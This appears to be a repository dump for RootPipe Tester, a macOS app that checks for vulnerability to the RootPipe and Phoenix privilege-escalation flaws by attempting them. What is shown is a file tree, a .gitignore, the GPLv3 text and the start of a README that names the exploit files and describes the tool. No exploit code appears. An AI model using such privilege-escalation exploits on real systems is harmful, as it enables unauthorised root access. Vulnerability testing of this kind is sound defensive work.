├── .gitignore
├── LICENSE
├── README.md
├── docs
├── img
│ └── readme-header.png
└── rights
│ ├── system.preferences_10.10.4.plist
│ ├── system.preferences_10.2.8.plist
│ ├── system.preferences_10.3.9.plist
│ ├── system.preferences_10.4.11.plist
│ ├── system.preferences_10.5.8.plist
│ ├── system.preferences_10.6.8.plist
│ ├── system.preferences_10.7.0.plist
│ ├── system.preferences_10.8.5.plist
│ └── system.preferences_10.9.5.plist
└── src
└── RootPipeTester
├── English.lproj
├── InfoPlist.strings
└── MainMenu.nib
│ ├── classes.nib
│ ├── info.nib
│ ├── keyedobjects.nib
│ └── objects.nib
├── Info.plist
├── RPTDAPlugIn
├── RPTDAPlugIn-Info.plist
├── RPTDAPlugIn.h
├── RPTDAPlugIn.m
└── RPTDAPlugIn_Prefix.pch
├── Resources
├── RootPipeTester.icns
└── RootPipeTesterLegacy.icns
├── RightsInspectorDelegate.h
├── RightsInspectorDelegate.m
├── RootPipeDelegate.h
├── RootPipeDelegate.m
├── RootPipeExploit.h
├── RootPipeExploit.m
├── RootPipeTest.h
├── RootPipeTest.m
├── RootPipeTester.pbproj
└── project.pbxproj
├── RootPipeTester.xcodeproj
├── TemplateIcon.icns
└── project.pbxproj
├── RootPipeTester_Prefix.pch
├── main.m
└── version.plist
/.gitignore:
--------------------------------------------------------------------------------
1 | .DS_Store
2 | ._.DS_Store
3 |
4 | # Project Builder
5 | pbxbuild/
6 |
7 | # Xcode
8 | #
9 | build/
10 | *.pbxuser
11 | !default.pbxuser
12 | *.mode1v3
13 | !default.mode1v3
14 | *.mode2v3
15 | !default.mode2v3
16 | *.perspective
17 | *.perspectivev3
18 | !default.perspectivev3
19 | xcuserdata
20 | *.xccheckout
21 | *.moved-aside
22 | DerivedData
23 | *.hmap
24 | *.ipa
25 | *.xcuserstate
26 |
27 | # CocoaPods
28 | #
29 | # We recommend against adding the Pods directory to your .gitignore. However
30 | # you should judge for yourself, the pros and cons are mentioned at:
31 | # http://guides.cocoapods.org/using/using-cocoapods.html#should-i-ignore-the-pods-directory-in-source-control
32 | #
33 | #Pods/
34 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | GNU GENERAL PUBLIC LICENSE
2 | Version 3, 29 June 2007
3 |
4 | Copyright (C) 2007 Free Software Foundation, Inc.
5 | Everyone is permitted to copy and distribute verbatim copies
6 | of this license document, but changing it is not allowed.
7 |
8 | Preamble
9 |
10 | The GNU General Public License is a free, copyleft license for
11 | software and other kinds of works.
12 |
13 | The licenses for most software and other practical works are designed
14 | to take away your freedom to share and change the works. By contrast,
15 | the GNU General Public License is intended to guarantee your freedom to
16 | share and change all versions of a program--to make sure it remains free
17 | software for all its users. We, the Free Software Foundation, use the
18 | GNU General Public License for most of our software; it applies also to
19 | any other work released this way by its authors. You can apply it to
20 | your programs, too.
21 |
22 | When we speak of free software, we are referring to freedom, not
23 | price. Our General Public Licenses are designed to make sure that you
24 | have the freedom to distribute copies of free software (and charge for
25 | them if you wish), that you receive source code or can get it if you
26 | want it, that you can change the software or use pieces of it in new
27 | free programs, and that you know you can do these things.
28 |
29 | To protect your rights, we need to prevent others from denying you
30 | these rights or asking you to surrender the rights. Therefore, you have
31 | certain responsibilities if you distribute copies of the software, or if
32 | you modify it: responsibilities to respect the freedom of others.
33 |
34 | For example, if you distribute copies of such a program, whether
35 | gratis or for a fee, you must pass on to the recipients the same
36 | freedoms that you received. You must make sure that they, too, receive
37 | or can get the source code. And you must show them these terms so they
38 | know their rights.
39 |
40 | Developers that use the GNU GPL protect your rights with two steps:
41 | (1) assert copyright on the software, and (2) offer you this License
42 | giving you legal permission to copy, distribute and/or modify it.
43 |
44 | For the developers' and authors' protection, the GPL clearly explains
45 | that there is no warranty for this free software. For both users' and
46 | authors' sake, the GPL requires that modified versions be marked as
47 | changed, so that their problems will not be attributed erroneously to
48 | authors of previous versions.
49 |
50 | Some devices are designed to deny users access to install or run
51 | modified versions of the software inside them, although the manufacturer
52 | can do so. This is fundamentally incompatible with the aim of
53 | protecting users' freedom to change the software. The systematic
54 | pattern of such abuse occurs in the area of products for individuals to
55 | use, which is precisely where it is most unacceptable. Therefore, we
56 | have designed this version of the GPL to prohibit the practice for those
57 | products. If such problems arise substantially in other domains, we
58 | stand ready to extend this provision to those domains in future versions
59 | of the GPL, as needed to protect the freedom of users.
60 |
61 | Finally, every program is threatened constantly by software patents.
62 | States should not allow patents to restrict development and use of
63 | software on general-purpose computers, but in those that do, we wish to
64 | avoid the special danger that patents applied to a free program could
65 | make it effectively proprietary. To prevent this, the GPL assures that
66 | patents cannot be used to render the program non-free.
67 |
68 | The precise terms and conditions for copying, distribution and
69 | modification follow.
70 |
71 | TERMS AND CONDITIONS
72 |
73 | 0. Definitions.
74 |
75 | "This License" refers to version 3 of the GNU General Public License.
76 |
77 | "Copyright" also means copyright-like laws that apply to other kinds of
78 | works, such as semiconductor masks.
79 |
80 | "The Program" refers to any copyrightable work licensed under this
81 | License. Each licensee is addressed as "you". "Licensees" and
82 | "recipients" may be individuals or organizations.
83 |
84 | To "modify" a work means to copy from or adapt all or part of the work
85 | in a fashion requiring copyright permission, other than the making of an
86 | exact copy. The resulting work is called a "modified version" of the
87 | earlier work or a work "based on" the earlier work.
88 |
89 | A "covered work" means either the unmodified Program or a work based
90 | on the Program.
91 |
92 | To "propagate" a work means to do anything with it that, without
93 | permission, would make you directly or secondarily liable for
94 | infringement under applicable copyright law, except executing it on a
95 | computer or modifying a private copy. Propagation includes copying,
96 | distribution (with or without modification), making available to the
97 | public, and in some countries other activities as well.
98 |
99 | To "convey" a work means any kind of propagation that enables other
100 | parties to make or receive copies. Mere interaction with a user through
101 | a computer network, with no transfer of a copy, is not conveying.
102 |
103 | An interactive user interface displays "Appropriate Legal Notices"
104 | to the extent that it includes a convenient and prominently visible
105 | feature that (1) displays an appropriate copyright notice, and (2)
106 | tells the user that there is no warranty for the work (except to the
107 | extent that warranties are provided), that licensees may convey the
108 | work under this License, and how to view a copy of this License. If
109 | the interface presents a list of user commands or options, such as a
110 | menu, a prominent item in the list meets this criterion.
111 |
112 | 1. Source Code.
113 |
114 | The "source code" for a work means the preferred form of the work
115 | for making modifications to it. "Object code" means any non-source
116 | form of a work.
117 |
118 | A "Standard Interface" means an interface that either is an official
119 | standard defined by a recognized standards body, or, in the case of
120 | interfaces specified for a particular programming language, one that
121 | is widely used among developers working in that language.
122 |
123 | The "System Libraries" of an executable work include anything, other
124 | than the work as a whole, that (a) is included in the normal form of
125 | packaging a Major Component, but which is not part of that Major
126 | Component, and (b) serves only to enable use of the work with that
127 | Major Component, or to implement a Standard Interface for which an
128 | implementation is available to the public in source code form. A
129 | "Major Component", in this context, means a major essential component
130 | (kernel, window system, and so on) of the specific operating system
131 | (if any) on which the executable work runs, or a compiler used to
132 | produce the work, or an object code interpreter used to run it.
133 |
134 | The "Corresponding Source" for a work in object code form means all
135 | the source code needed to generate, install, and (for an executable
136 | work) run the object code and to modify the work, including scripts to
137 | control those activities. However, it does not include the work's
138 | System Libraries, or general-purpose tools or generally available free
139 | programs which are used unmodified in performing those activities but
140 | which are not part of the work. For example, Corresponding Source
141 | includes interface definition files associated with source files for
142 | the work, and the source code for shared libraries and dynamically
143 | linked subprograms that the work is specifically designed to require,
144 | such as by intimate data communication or control flow between those
145 | subprograms and other parts of the work.
146 |
147 | The Corresponding Source need not include anything that users
148 | can regenerate automatically from other parts of the Corresponding
149 | Source.
150 |
151 | The Corresponding Source for a work in source code form is that
152 | same work.
153 |
154 | 2. Basic Permissions.
155 |
156 | All rights granted under this License are granted for the term of
157 | copyright on the Program, and are irrevocable provided the stated
158 | conditions are met. This License explicitly affirms your unlimited
159 | permission to run the unmodified Program. The output from running a
160 | covered work is covered by this License only if the output, given its
161 | content, constitutes a covered work. This License acknowledges your
162 | rights of fair use or other equivalent, as provided by copyright law.
163 |
164 | You may make, run and propagate covered works that you do not
165 | convey, without conditions so long as your license otherwise remains
166 | in force. You may convey covered works to others for the sole purpose
167 | of having them make modifications exclusively for you, or provide you
168 | with facilities for running those works, provided that you comply with
169 | the terms of this License in conveying all material for which you do
170 | not control copyright. Those thus making or running the covered works
171 | for you must do so exclusively on your behalf, under your direction
172 | and control, on terms that prohibit them from making any copies of
173 | your copyrighted material outside their relationship with you.
174 |
175 | Conveying under any other circumstances is permitted solely under
176 | the conditions stated below. Sublicensing is not allowed; section 10
177 | makes it unnecessary.
178 |
179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
180 |
181 | No covered work shall be deemed part of an effective technological
182 | measure under any applicable law fulfilling obligations under article
183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or
184 | similar laws prohibiting or restricting circumvention of such
185 | measures.
186 |
187 | When you convey a covered work, you waive any legal power to forbid
188 | circumvention of technological measures to the extent such circumvention
189 | is effected by exercising rights under this License with respect to
190 | the covered work, and you disclaim any intention to limit operation or
191 | modification of the work as a means of enforcing, against the work's
192 | users, your or third parties' legal rights to forbid circumvention of
193 | technological measures.
194 |
195 | 4. Conveying Verbatim Copies.
196 |
197 | You may convey verbatim copies of the Program's source code as you
198 | receive it, in any medium, provided that you conspicuously and
199 | appropriately publish on each copy an appropriate copyright notice;
200 | keep intact all notices stating that this License and any
201 | non-permissive terms added in accord with section 7 apply to the code;
202 | keep intact all notices of the absence of any warranty; and give all
203 | recipients a copy of this License along with the Program.
204 |
205 | You may charge any price or no price for each copy that you convey,
206 | and you may offer support or warranty protection for a fee.
207 |
208 | 5. Conveying Modified Source Versions.
209 |
210 | You may convey a work based on the Program, or the modifications to
211 | produce it from the Program, in the form of source code under the
212 | terms of section 4, provided that you also meet all of these conditions:
213 |
214 | a) The work must carry prominent notices stating that you modified
215 | it, and giving a relevant date.
216 |
217 | b) The work must carry prominent notices stating that it is
218 | released under this License and any conditions added under section
219 | 7. This requirement modifies the requirement in section 4 to
220 | "keep intact all notices".
221 |
222 | c) You must license the entire work, as a whole, under this
223 | License to anyone who comes into possession of a copy. This
224 | License will therefore apply, along with any applicable section 7
225 | additional terms, to the whole of the work, and all its parts,
226 | regardless of how they are packaged. This License gives no
227 | permission to license the work in any other way, but it does not
228 | invalidate such permission if you have separately received it.
229 |
230 | d) If the work has interactive user interfaces, each must display
231 | Appropriate Legal Notices; however, if the Program has interactive
232 | interfaces that do not display Appropriate Legal Notices, your
233 | work need not make them do so.
234 |
235 | A compilation of a covered work with other separate and independent
236 | works, which are not by their nature extensions of the covered work,
237 | and which are not combined with it such as to form a larger program,
238 | in or on a volume of a storage or distribution medium, is called an
239 | "aggregate" if the compilation and its resulting copyright are not
240 | used to limit the access or legal rights of the compilation's users
241 | beyond what the individual works permit. Inclusion of a covered work
242 | in an aggregate does not cause this License to apply to the other
243 | parts of the aggregate.
244 |
245 | 6. Conveying Non-Source Forms.
246 |
247 | You may convey a covered work in object code form under the terms
248 | of sections 4 and 5, provided that you also convey the
249 | machine-readable Corresponding Source under the terms of this License,
250 | in one of these ways:
251 |
252 | a) Convey the object code in, or embodied in, a physical product
253 | (including a physical distribution medium), accompanied by the
254 | Corresponding Source fixed on a durable physical medium
255 | customarily used for software interchange.
256 |
257 | b) Convey the object code in, or embodied in, a physical product
258 | (including a physical distribution medium), accompanied by a
259 | written offer, valid for at least three years and valid for as
260 | long as you offer spare parts or customer support for that product
261 | model, to give anyone who possesses the object code either (1) a
262 | copy of the Corresponding Source for all the software in the
263 | product that is covered by this License, on a durable physical
264 | medium customarily used for software interchange, for a price no
265 | more than your reasonable cost of physically performing this
266 | conveying of source, or (2) access to copy the
267 | Corresponding Source from a network server at no charge.
268 |
269 | c) Convey individual copies of the object code with a copy of the
270 | written offer to provide the Corresponding Source. This
271 | alternative is allowed only occasionally and noncommercially, and
272 | only if you received the object code with such an offer, in accord
273 | with subsection 6b.
274 |
275 | d) Convey the object code by offering access from a designated
276 | place (gratis or for a charge), and offer equivalent access to the
277 | Corresponding Source in the same way through the same place at no
278 | further charge. You need not require recipients to copy the
279 | Corresponding Source along with the object code. If the place to
280 | copy the object code is a network server, the Corresponding Source
281 | may be on a different server (operated by you or a third party)
282 | that supports equivalent copying facilities, provided you maintain
283 | clear directions next to the object code saying where to find the
284 | Corresponding Source. Regardless of what server hosts the
285 | Corresponding Source, you remain obligated to ensure that it is
286 | available for as long as needed to satisfy these requirements.
287 |
288 | e) Convey the object code using peer-to-peer transmission, provided
289 | you inform other peers where the object code and Corresponding
290 | Source of the work are being offered to the general public at no
291 | charge under subsection 6d.
292 |
293 | A separable portion of the object code, whose source code is excluded
294 | from the Corresponding Source as a System Library, need not be
295 | included in conveying the object code work.
296 |
297 | A "User Product" is either (1) a "consumer product", which means any
298 | tangible personal property which is normally used for personal, family,
299 | or household purposes, or (2) anything designed or sold for incorporation
300 | into a dwelling. In determining whether a product is a consumer product,
301 | doubtful cases shall be resolved in favor of coverage. For a particular
302 | product received by a particular user, "normally used" refers to a
303 | typical or common use of that class of product, regardless of the status
304 | of the particular user or of the way in which the particular user
305 | actually uses, or expects or is expected to use, the product. A product
306 | is a consumer product regardless of whether the product has substantial
307 | commercial, industrial or non-consumer uses, unless such uses represent
308 | the only significant mode of use of the product.
309 |
310 | "Installation Information" for a User Product means any methods,
311 | procedures, authorization keys, or other information required to install
312 | and execute modified versions of a covered work in that User Product from
313 | a modified version of its Corresponding Source. The information must
314 | suffice to ensure that the continued functioning of the modified object
315 | code is in no case prevented or interfered with solely because
316 | modification has been made.
317 |
318 | If you convey an object code work under this section in, or with, or
319 | specifically for use in, a User Product, and the conveying occurs as
320 | part of a transaction in which the right of possession and use of the
321 | User Product is transferred to the recipient in perpetuity or for a
322 | fixed term (regardless of how the transaction is characterized), the
323 | Corresponding Source conveyed under this section must be accompanied
324 | by the Installation Information. But this requirement does not apply
325 | if neither you nor any third party retains the ability to install
326 | modified object code on the User Product (for example, the work has
327 | been installed in ROM).
328 |
329 | The requirement to provide Installation Information does not include a
330 | requirement to continue to provide support service, warranty, or updates
331 | for a work that has been modified or installed by the recipient, or for
332 | the User Product in which it has been modified or installed. Access to a
333 | network may be denied when the modification itself materially and
334 | adversely affects the operation of the network or violates the rules and
335 | protocols for communication across the network.
336 |
337 | Corresponding Source conveyed, and Installation Information provided,
338 | in accord with this section must be in a format that is publicly
339 | documented (and with an implementation available to the public in
340 | source code form), and must require no special password or key for
341 | unpacking, reading or copying.
342 |
343 | 7. Additional Terms.
344 |
345 | "Additional permissions" are terms that supplement the terms of this
346 | License by making exceptions from one or more of its conditions.
347 | Additional permissions that are applicable to the entire Program shall
348 | be treated as though they were included in this License, to the extent
349 | that they are valid under applicable law. If additional permissions
350 | apply only to part of the Program, that part may be used separately
351 | under those permissions, but the entire Program remains governed by
352 | this License without regard to the additional permissions.
353 |
354 | When you convey a copy of a covered work, you may at your option
355 | remove any additional permissions from that copy, or from any part of
356 | it. (Additional permissions may be written to require their own
357 | removal in certain cases when you modify the work.) You may place
358 | additional permissions on material, added by you to a covered work,
359 | for which you have or can give appropriate copyright permission.
360 |
361 | Notwithstanding any other provision of this License, for material you
362 | add to a covered work, you may (if authorized by the copyright holders of
363 | that material) supplement the terms of this License with terms:
364 |
365 | a) Disclaiming warranty or limiting liability differently from the
366 | terms of sections 15 and 16 of this License; or
367 |
368 | b) Requiring preservation of specified reasonable legal notices or
369 | author attributions in that material or in the Appropriate Legal
370 | Notices displayed by works containing it; or
371 |
372 | c) Prohibiting misrepresentation of the origin of that material, or
373 | requiring that modified versions of such material be marked in
374 | reasonable ways as different from the original version; or
375 |
376 | d) Limiting the use for publicity purposes of names of licensors or
377 | authors of the material; or
378 |
379 | e) Declining to grant rights under trademark law for use of some
380 | trade names, trademarks, or service marks; or
381 |
382 | f) Requiring indemnification of licensors and authors of that
383 | material by anyone who conveys the material (or modified versions of
384 | it) with contractual assumptions of liability to the recipient, for
385 | any liability that these contractual assumptions directly impose on
386 | those licensors and authors.
387 |
388 | All other non-permissive additional terms are considered "further
389 | restrictions" within the meaning of section 10. If the Program as you
390 | received it, or any part of it, contains a notice stating that it is
391 | governed by this License along with a term that is a further
392 | restriction, you may remove that term. If a license document contains
393 | a further restriction but permits relicensing or conveying under this
394 | License, you may add to a covered work material governed by the terms
395 | of that license document, provided that the further restriction does
396 | not survive such relicensing or conveying.
397 |
398 | If you add terms to a covered work in accord with this section, you
399 | must place, in the relevant source files, a statement of the
400 | additional terms that apply to those files, or a notice indicating
401 | where to find the applicable terms.
402 |
403 | Additional terms, permissive or non-permissive, may be stated in the
404 | form of a separately written license, or stated as exceptions;
405 | the above requirements apply either way.
406 |
407 | 8. Termination.
408 |
409 | You may not propagate or modify a covered work except as expressly
410 | provided under this License. Any attempt otherwise to propagate or
411 | modify it is void, and will automatically terminate your rights under
412 | this License (including any patent licenses granted under the third
413 | paragraph of section 11).
414 |
415 | However, if you cease all violation of this License, then your
416 | license from a particular copyright holder is reinstated (a)
417 | provisionally, unless and until the copyright holder explicitly and
418 | finally terminates your license, and (b) permanently, if the copyright
419 | holder fails to notify you of the violation by some reasonable means
420 | prior to 60 days after the cessation.
421 |
422 | Moreover, your license from a particular copyright holder is
423 | reinstated permanently if the copyright holder notifies you of the
424 | violation by some reasonable means, this is the first time you have
425 | received notice of violation of this License (for any work) from that
426 | copyright holder, and you cure the violation prior to 30 days after
427 | your receipt of the notice.
428 |
429 | Termination of your rights under this section does not terminate the
430 | licenses of parties who have received copies or rights from you under
431 | this License. If your rights have been terminated and not permanently
432 | reinstated, you do not qualify to receive new licenses for the same
433 | material under section 10.
434 |
435 | 9. Acceptance Not Required for Having Copies.
436 |
437 | You are not required to accept this License in order to receive or
438 | run a copy of the Program. Ancillary propagation of a covered work
439 | occurring solely as a consequence of using peer-to-peer transmission
440 | to receive a copy likewise does not require acceptance. However,
441 | nothing other than this License grants you permission to propagate or
442 | modify any covered work. These actions infringe copyright if you do
443 | not accept this License. Therefore, by modifying or propagating a
444 | covered work, you indicate your acceptance of this License to do so.
445 |
446 | 10. Automatic Licensing of Downstream Recipients.
447 |
448 | Each time you convey a covered work, the recipient automatically
449 | receives a license from the original licensors, to run, modify and
450 | propagate that work, subject to this License. You are not responsible
451 | for enforcing compliance by third parties with this License.
452 |
453 | An "entity transaction" is a transaction transferring control of an
454 | organization, or substantially all assets of one, or subdividing an
455 | organization, or merging organizations. If propagation of a covered
456 | work results from an entity transaction, each party to that
457 | transaction who receives a copy of the work also receives whatever
458 | licenses to the work the party's predecessor in interest had or could
459 | give under the previous paragraph, plus a right to possession of the
460 | Corresponding Source of the work from the predecessor in interest, if
461 | the predecessor has it or can get it with reasonable efforts.
462 |
463 | You may not impose any further restrictions on the exercise of the
464 | rights granted or affirmed under this License. For example, you may
465 | not impose a license fee, royalty, or other charge for exercise of
466 | rights granted under this License, and you may not initiate litigation
467 | (including a cross-claim or counterclaim in a lawsuit) alleging that
468 | any patent claim is infringed by making, using, selling, offering for
469 | sale, or importing the Program or any portion of it.
470 |
471 | 11. Patents.
472 |
473 | A "contributor" is a copyright holder who authorizes use under this
474 | License of the Program or a work on which the Program is based. The
475 | work thus licensed is called the contributor's "contributor version".
476 |
477 | A contributor's "essential patent claims" are all patent claims
478 | owned or controlled by the contributor, whether already acquired or
479 | hereafter acquired, that would be infringed by some manner, permitted
480 | by this License, of making, using, or selling its contributor version,
481 | but do not include claims that would be infringed only as a
482 | consequence of further modification of the contributor version. For
483 | purposes of this definition, "control" includes the right to grant
484 | patent sublicenses in a manner consistent with the requirements of
485 | this License.
486 |
487 | Each contributor grants you a non-exclusive, worldwide, royalty-free
488 | patent license under the contributor's essential patent claims, to
489 | make, use, sell, offer for sale, import and otherwise run, modify and
490 | propagate the contents of its contributor version.
491 |
492 | In the following three paragraphs, a "patent license" is any express
493 | agreement or commitment, however denominated, not to enforce a patent
494 | (such as an express permission to practice a patent or covenant not to
495 | sue for patent infringement). To "grant" such a patent license to a
496 | party means to make such an agreement or commitment not to enforce a
497 | patent against the party.
498 |
499 | If you convey a covered work, knowingly relying on a patent license,
500 | and the Corresponding Source of the work is not available for anyone
501 | to copy, free of charge and under the terms of this License, through a
502 | publicly available network server or other readily accessible means,
503 | then you must either (1) cause the Corresponding Source to be so
504 | available, or (2) arrange to deprive yourself of the benefit of the
505 | patent license for this particular work, or (3) arrange, in a manner
506 | consistent with the requirements of this License, to extend the patent
507 | license to downstream recipients. "Knowingly relying" means you have
508 | actual knowledge that, but for the patent license, your conveying the
509 | covered work in a country, or your recipient's use of the covered work
510 | in a country, would infringe one or more identifiable patents in that
511 | country that you have reason to believe are valid.
512 |
513 | If, pursuant to or in connection with a single transaction or
514 | arrangement, you convey, or propagate by procuring conveyance of, a
515 | covered work, and grant a patent license to some of the parties
516 | receiving the covered work authorizing them to use, propagate, modify
517 | or convey a specific copy of the covered work, then the patent license
518 | you grant is automatically extended to all recipients of the covered
519 | work and works based on it.
520 |
521 | A patent license is "discriminatory" if it does not include within
522 | the scope of its coverage, prohibits the exercise of, or is
523 | conditioned on the non-exercise of one or more of the rights that are
524 | specifically granted under this License. You may not convey a covered
525 | work if you are a party to an arrangement with a third party that is
526 | in the business of distributing software, under which you make payment
527 | to the third party based on the extent of your activity of conveying
528 | the work, and under which the third party grants, to any of the
529 | parties who would receive the covered work from you, a discriminatory
530 | patent license (a) in connection with copies of the covered work
531 | conveyed by you (or copies made from those copies), or (b) primarily
532 | for and in connection with specific products or compilations that
533 | contain the covered work, unless you entered into that arrangement,
534 | or that patent license was granted, prior to 28 March 2007.
535 |
536 | Nothing in this License shall be construed as excluding or limiting
537 | any implied license or other defenses to infringement that may
538 | otherwise be available to you under applicable patent law.
539 |
540 | 12. No Surrender of Others' Freedom.
541 |
542 | If conditions are imposed on you (whether by court order, agreement or
543 | otherwise) that contradict the conditions of this License, they do not
544 | excuse you from the conditions of this License. If you cannot convey a
545 | covered work so as to satisfy simultaneously your obligations under this
546 | License and any other pertinent obligations, then as a consequence you may
547 | not convey it at all. For example, if you agree to terms that obligate you
548 | to collect a royalty for further conveying from those to whom you convey
549 | the Program, the only way you could satisfy both those terms and this
550 | License would be to refrain entirely from conveying the Program.
551 |
552 | 13. Use with the GNU Affero General Public License.
553 |
554 | Notwithstanding any other provision of this License, you have
555 | permission to link or combine any covered work with a work licensed
556 | under version 3 of the GNU Affero General Public License into a single
557 | combined work, and to convey the resulting work. The terms of this
558 | License will continue to apply to the part which is the covered work,
559 | but the special requirements of the GNU Affero General Public License,
560 | section 13, concerning interaction through a network will apply to the
561 | combination as such.
562 |
563 | 14. Revised Versions of this License.
564 |
565 | The Free Software Foundation may publish revised and/or new versions of
566 | the GNU General Public License from time to time. Such new versions will
567 | be similar in spirit to the present version, but may differ in detail to
568 | address new problems or concerns.
569 |
570 | Each version is given a distinguishing version number. If the
571 | Program specifies that a certain numbered version of the GNU General
572 | Public License "or any later version" applies to it, you have the
573 | option of following the terms and conditions either of that numbered
574 | version or of any later version published by the Free Software
575 | Foundation. If the Program does not specify a version number of the
576 | GNU General Public License, you may choose any version ever published
577 | by the Free Software Foundation.
578 |
579 | If the Program specifies that a proxy can decide which future
580 | versions of the GNU General Public License can be used, that proxy's
581 | public statement of acceptance of a version permanently authorizes you
582 | to choose that version for the Program.
583 |
584 | Later license versions may give you additional or different
585 | permissions. However, no additional obligations are imposed on any
586 | author or copyright holder as a result of your choosing to follow a
587 | later version.
588 |
589 | 15. Disclaimer of Warranty.
590 |
591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
599 |
600 | 16. Limitation of Liability.
601 |
602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
610 | SUCH DAMAGES.
611 |
612 | 17. Interpretation of Sections 15 and 16.
613 |
614 | If the disclaimer of warranty and limitation of liability provided
615 | above cannot be given local legal effect according to their terms,
616 | reviewing courts shall apply local law that most closely approximates
617 | an absolute waiver of all civil liability in connection with the
618 | Program, unless a warranty or assumption of liability accompanies a
619 | copy of the Program in return for a fee.
620 |
621 | END OF TERMS AND CONDITIONS
622 |
623 | How to Apply These Terms to Your New Programs
624 |
625 | If you develop a new program, and you want it to be of the greatest
626 | possible use to the public, the best way to achieve this is to make it
627 | free software which everyone can redistribute and change under these terms.
628 |
629 | To do so, attach the following notices to the program. It is safest
630 | to attach them to the start of each source file to most effectively
631 | state the exclusion of warranty; and each file should have at least
632 | the "copyright" line and a pointer to where the full notice is found.
633 |
634 | {one line to give the program's name and a brief idea of what it does.}
635 | Copyright (C) {year} {name of author}
636 |
637 | This program is free software: you can redistribute it and/or modify
638 | it under the terms of the GNU General Public License as published by
639 | the Free Software Foundation, either version 3 of the License, or
640 | (at your option) any later version.
641 |
642 | This program is distributed in the hope that it will be useful,
643 | but WITHOUT ANY WARRANTY; without even the implied warranty of
644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
645 | GNU General Public License for more details.
646 |
647 | You should have received a copy of the GNU General Public License
648 | along with this program. If not, see .
649 |
650 | Also add information on how to contact you by electronic and paper mail.
651 |
652 | If the program does terminal interaction, make it output a short
653 | notice like this when it starts in an interactive mode:
654 |
655 | {project} Copyright (C) {year} {fullname}
656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
657 | This is free software, and you are welcome to redistribute it
658 | under certain conditions; type `show c' for details.
659 |
660 | The hypothetical commands `show w' and `show c' should show the appropriate
661 | parts of the General Public License. Of course, your program's commands
662 | might be different; for a GUI interface, you would use an "about box".
663 |
664 | You should also get your employer (if you work as a programmer) or school,
665 | if any, to sign a "copyright disclaimer" for the program, if necessary.
666 | For more information on this, and how to apply and follow the GNU GPL, see
667 | .
668 |
669 | The GNU General Public License does not permit incorporating your program
670 | into proprietary programs. If your program is a subroutine library, you
671 | may consider it more useful to permit linking proprietary applications with
672 | the library. If this is what you want to do, use the GNU Lesser General
673 | Public License instead of this License. But first, please read
674 | .
675 |
676 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | 
2 |
3 | ### Table of Contents
4 | 1. [What is RootPipe Tester?](#1-what-is-rootpipe-tester)
5 | 2. [Why should I use RootPipe Tester?](#2-why-should-i-use-rootpipe-tester)
6 | 3. [How do I use RootPipe Tester?](#3-how-do-i-use-rootpipe-tester)
7 | 4. [PANIC!!! My system is vulnerable? Are we all going to die?](#4-panic-my-system-is-vulnerable-are-we-all-going-to-die)
8 | 1. [OS X 10.10 (Yosemite)](#41-os-x-1010-yosemite)
9 | 2. [OS X 10.9 (Mavericks)](#42-os-x-109-mavericks)
10 | 3. [OS X 10.8 (Mountain Lion)](#43-os-x-108-mountain-lion)
11 | 4. [OS X 10.7 (Lion), Mac OS X 10.6 (Snow Leopard), Mac OS X 10.5 (Leopard), Mac OS X 10.4 (Tiger)](#44-os-x-107-lion-mac-os-x-106-snow-leopard-mac-os-x-105-leopard-mac-os-x-104-tiger)
12 | 5. [Mac OS X 10.3 (Panther)](#45-mac-os-x-103-panther)
13 | 6. [Mac OS X 10.2 (Jaguar)](#46-mac-os-x-102-jaguar)
14 | 7. [Mac OS X 10.1 (Puma), Mac OS X 10.0 (Cheetah)](#47-mac-os-x-101-puma-mac-os-x-100-cheetah)
15 | 5. [About RootPipe](#5-about-rootpipe)
16 | 1. [How does RootPipe work?](#51-how-does-rootpipe-work)
17 | 2. [Is it a backdoor?](#52-is-it-a-backdoor)
18 |
19 | ## 1. What is RootPipe Tester?
20 | RootPipe Tester is a small application that runs on your Mac (Mac OS X 10.2.8 or higher, both PowerPC and Intel) and tries to use both the RootPipe ([CVE-2015-1130](http://www.cvedetails.com/cve/CVE-2015-1130/)) and Phoenix ([CVE-2015-3673](http://www.cvedetails.com/cve/CVE-2015-3673/)) exploits to produce a privilege escalation.
21 |
22 | ## 2. Why should I use RootPipe Tester?
23 | ### Can't you just make a list of vulnerable Mac OS versions?
24 | If your Mac is vulnerable does depend on the version of Mac OS X you are running but its success is also dependent on the preferences you have set.
25 | With RootPipe Tester I have created a one-click solution for you to verify if you are vulnerable without having to do extensive testing and trying.
26 |
27 | ## 3. How do I use RootPipe Tester?
28 | Download the disk image from the releases page of this repository or compile it by your own if you prefer.
29 | Mount the disk image and run the application contained within it (it is safe to run RootPipe Tester from the disk image).
